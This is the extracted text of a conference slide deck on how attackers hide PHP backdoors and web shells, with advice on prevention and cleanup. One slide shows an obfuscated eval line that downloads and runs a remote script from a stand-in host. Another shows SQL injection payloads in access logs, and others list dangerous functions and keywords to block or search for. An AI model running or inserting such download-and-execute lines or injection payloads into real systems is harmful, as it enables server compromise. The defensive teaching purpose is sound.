Code Obfuscation, PHP shells & more
What hackers do once they get passed your code - and how you can detect & fix it.
Content:
- What happens when I get hacked?
- What's code obfuscation?
- What are PHP shells?
- Show me some clever hacks!
- Prevention
- Post-hack cleanup
What is this not about:
- How can I hack a website?
- How can I DoS a website?
- How can I find my insecure code?
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Code obfuscation, php shells & more
1. CODE OBFUSCATION, PHP SHELLS & MORE
WHAT HACKERS DO ONCE THEY GET PASSED YOUR CODE
(AND HOW YOU CAN DETECT & FIX IT)
@mattiasgeniar
#phpbnl14-24/1/2014,Edegem
2. WHAT'S THIS TALK ABOUT?
Whathappens when I gethacked?
What's code obfuscation?
Whatare PHP shells?
Show me some clever hacks!
Prevention
Post-hack cleanup
3. WHAT IS THIS _NOT_ ABOUT?
How can I hack awebsite?
How can I DoS awebsite?
How can I find myinsecure code?
4. WHO AM I?
Mattias Geniar
System Engineer @ Nucleus.be
(wemayhaveaccidentallystartedahugestressballfightlastyear)
Ex-PHP'er, ORM hater, mostlyaLinux guy
5. WHO ARE YOU?
AnyLinux knowledge?
Ever had asite compromised?
Ever tryto hack your own site?:-)
Who was atthis talk @ phpbnl14?
6. WHY DO I GET HACKED?
To stealyour data
Intermediate hostto attack others
Actas aC&C server
Send outspammails
...
7. WHAT HAPPENS (TO MY SERVER) WHEN I GET
HACKED?
Malicious file uploads
Localfile modifications
SQL injections (to modifyDBcontent)
SQL injections (to stealyour data)
... and manymore things
9. FOCUS OF THIS TALK
File upload abuse: whatcan you do with PHP?
Formuploadvulnerability,stolenFTPpasswordsetc.
SQL injections
NOT THE FOCUS
Cross-Site Scripting(XSS)
Authentication bypassing
Cross-Site RequestForgery(CSRF)
...
Check OWASP.orgfor more fun!
18. OBFUSCATION TECHNIQUES
Whyhide the code?
Legit
Preventreverse engineering
Protectproprietarycode
ZendGuard,SourceGuardian,...requirePHPextensionstodecrypt
Accidentally
Lack of experiencefrom the dev
Simple problems solved in ahard way
Malicious
Preventcode from beingfound
Hidebackdoors in backdoors
Hidetrue purpose of script
21. OBFUSCATION TECHNIQUES
Character substitutions with str_rot13
(oranyself-madeletterreplacementalgoritm)
$string='somerandompieceofcode';
$encoded=str_rot13($string);
#$encoded=fbzrenaqbzcvrprbspbqr
$decoded=str_rot13($encoded);
#$decodedisagain=somerandompieceofcode
So if you're evil...
$a="rkrp('jtrguggc://fvgr.gyq/unpx.cy;puzbq+kunpx.cy;./unpx.cy');";
eval(str_rot13($a));
exec('wgethttp://site.tld/hack.pl;chmod+xhack.pl;./hack.pl');
22. OBFUSCATION TECHNIQUES
Run eval() on encoded strings
$code='echo"Inception:PHPinPHP!";';
eval($code);
The encoded version becomes:
$code='ZWNobyAiSW5jZXB0aW9uOiBQSFAgaW4gUEhQISI7IA==';
eval(base64_decode($code);
Image this on a100+ line PHP script. base64_encode()itall
and run itin eval().
27. WHAT DO THOSE SHELLS DO?
Usuallycontains authentication/authorization
28. WHAT DO THOSE SHELLS DO?
Contains some kind of ACL
if(!empty($_SERVER['HTTP_USER_AGENT'])){
$ua=$_SERVER['HTTP_USER_AGENT'];
$userAgents=array("Google","MSNBot");
if(preg_match('/'.implode('|',$userAgents).'/i',$ua)){
header('HTTP/1.0404NotFound');
exit;
}
}
#OrbyIP,cookies,$_POSTvalues,...
34. BIG DEAL ... YOU CAN'T DO ANYTHING!
...
CAN'T I?
35. COMPILE YOUR OWN EXPLOIT?
sh-4.1$gccexploit.c-oexploit
sh-4.1$chmod+xexploit
sh-4.1$ls-alhexploit
-rwxrwxr-x1xxxxxx6.3KJan2117:38exploit
sh-4.1$./exploit
37. WHAT ELSE IN THIS WEB SHELL BY ORB?
Zip/Tar.gz manager
Brute force ftp/mysql/...
Search system for files
.mysql_history,.bash_history,*.conf,...
Similar to R75 shell, C99, ...
39. WHAT THEY HAVE IN COMMON
GUI stolen from a90's h4ck0rz movie
Allsingle page apps
Made to dumb-down the user (presets etc.)
Offer same kind of tools/scripts/exploits
40. HACKERS PROTECT THEMSELVES
Add aself-updatecommand
Add aself-destructcommand
Make multiple copiesof itself
Obfuscate its own code with random data
Add to cronto restartscript
41. HOW TO PROTECT YOURSELF
Server-sidevscode-wise
As adev...
Don'ttrustyour users
Whitelist(don'tblacklist!) file extensions in upload
forms
Safe:$whitelist=array('jpg','jpeg');
Unsafe:$blacklist=array('php','cgi');#Willstillallowperl(.pl)
code
Never use eval()
As asysadmin...
Don'tallow PHP execution from uploads directory
(easilyblockedinwebserverconfigs)
Mountfilesystems with noexecoption
Virus-scanalluploaded files
Block 'dangerous'php functions
43. BLOCKING DANGEROUS PHP FUNCTIONS
(dependsonyourdefinitionofdangerous)
php.ini: disable_functions
Onlydisables internalfunctions, no user-defined ones
Can notbe overwritten later (duh)
disable_functions=show_source,exec,system,passthru,dl,phpinfo,...
eval()is alanguage construct, notafunction. Can notbe
blocked in disable_functions. Check outthe suhosin patch to
disable this.
44. YOUR ACCESS & ERROR LOGS ARE GOLDEN
Thesearenormalaccesslogs...
---"GET/account.phpHTTP/1.1"20017333"https://site.be/script.php?id=NGE5OTI7N2BlbT
---"GET/images/pages/account.gifHTTP/1.1"2001668"Mozilla/5.0(WindowsNT6.2;WOW
---"GET/images/pages/account_companycontacts.pngHTTP/1.1"2003392"Mozilla/5.0(Win
---"GET/images/pages/account_contacts.gifHTTP/1.1"2001765"Mozilla/5.0(WindowsNT
---"GET/account_orders.phpHTTP/1.1"20021449"Mozilla/5.0(WindowsNT6.2;WOW64;r
...
45. YOUR ACCESS & ERROR LOGS ARE GOLDEN
Thesearenot...
GET/my_php_file.php?query_param=1%20AND%202458=CAST%28CHR%2858%29%7C%7CCHR%28
112%29%7C%7CCHR%28100%29%7C%7CCHR%28118%29%7C%7CCHR%2858%29%7C%7C%28SELECT%20
COALESCE%28CAST%28uid%20AS%20CHARACTER%2810000%29%29%2CCHR%2832%29%29%20FROM
%20db.table%20OFFSET%206543%20LIMIT%201%29%3A%3Atext%7C%7CCHR%2858%29%7C%7CC
HR%28104%29%7C%7CCHR%2897%29%7C%7CCHR%28109%29%7C%7CCHR%2858%29%20AS%20NUMER
IC%29HTTP/1.1"200554"-""sqlmap/1.0-dev(http://sqlmap.org)"
Or ...
GET/my_php_file.php?query_param=1AND2458=CAST(CHR(58)||CHR(112)||
CHR(100)||CHR(118)||CHR(58)||(SELECTCOALESCE(CAST(uidASCHARACTER(10000)),
CHR(32))FROMdb.tableOFFSET6543LIMIT1)::text||CHR(58)||CHR(104)||
CHR(97)||CHR(109)||CHR(58)ASNUMERIC)HTTP/1.1"200554"-"
47. BLOCK SQL-INJECTION AS A SYSADMIN
This can neverbe your onlydefense. This justhelps make it
harder.
You can acton URL patterns
KeywordslikeCHR(),COALESCE(),CAST(),CHR(),...
You can acton HTTP user agents
Keywordslikesqlmap,owasp,zod,...
Installa"Web Application Firewall"
(opensource:mod_securityinApache,security.vclinVarnish,ModSecurityinNginx,5GBlacklist,...)
48. BLOCK BRUTE FORCE ATTACKS
Ifanapplicationuseriscompromised,theycoulduploadmaliciouscontent.
In the application: block usersafter X amountof failed
attempts
On the server: tools like fail2ban, denyhosts, iptables,
...
Extend common tools: fail2banto detectPOSTfloods via
access/error logs
(ie:10POSTrequestsfromsameIPin5s=ban)
49. STAY UP-TO-DATE
Witheverything.
Update 3rd party libraries: ckeditor, tinymce,
thumbnailscripts, ...
Tripple-checkanythingyoutookfromtheinternet.
Update your frameworkthatcould have securityfixes
Update your OS & applications
(limittheprivilegeescalationexploitsiftheappiscompromised)
Update your personalknowledge / experience
CheckoutOWAS,tryoutfreevulnerabilityscanners,hackyourownsite,...
51. POST-HACK CLEANUP
Or:howtofindthehack
Search for suspicious filenames
Check your access/error logs
(Ifyoufounduploadedfiles,usethetimestampsforamoreaccuratesearch)
Check your cronjobs on the system
Demsneakybastards...
Search allsourcecode for keywords like:
eval, base64_decode, wget, curl,...
Use sytem tools for scanningmalware like:
Maldet, ClamAV, rkhunter, tripwire, ...
(youmayneedtopokeyoursysadmin-thesecanrunasdaemons)
52. POST-HACK CLEANUP
Take adatabase dump and search for keywords like:
iframe, script, ...
Take alonglook again atallthe prevention methods we talked
aboutearlier.
Patch the code
Prepare yourself to reinstallyour entire server
Ifyou'reunsurehowfartheattackerwent,assumetheygotrootaccess.
Ifthat'sthecase,don'ttrustasinglesystembinary.
~$mysqldumpmydb>mydb.sql
~$grep-i'iframe'mydb.sql
~$grep-i'...'mydb.sql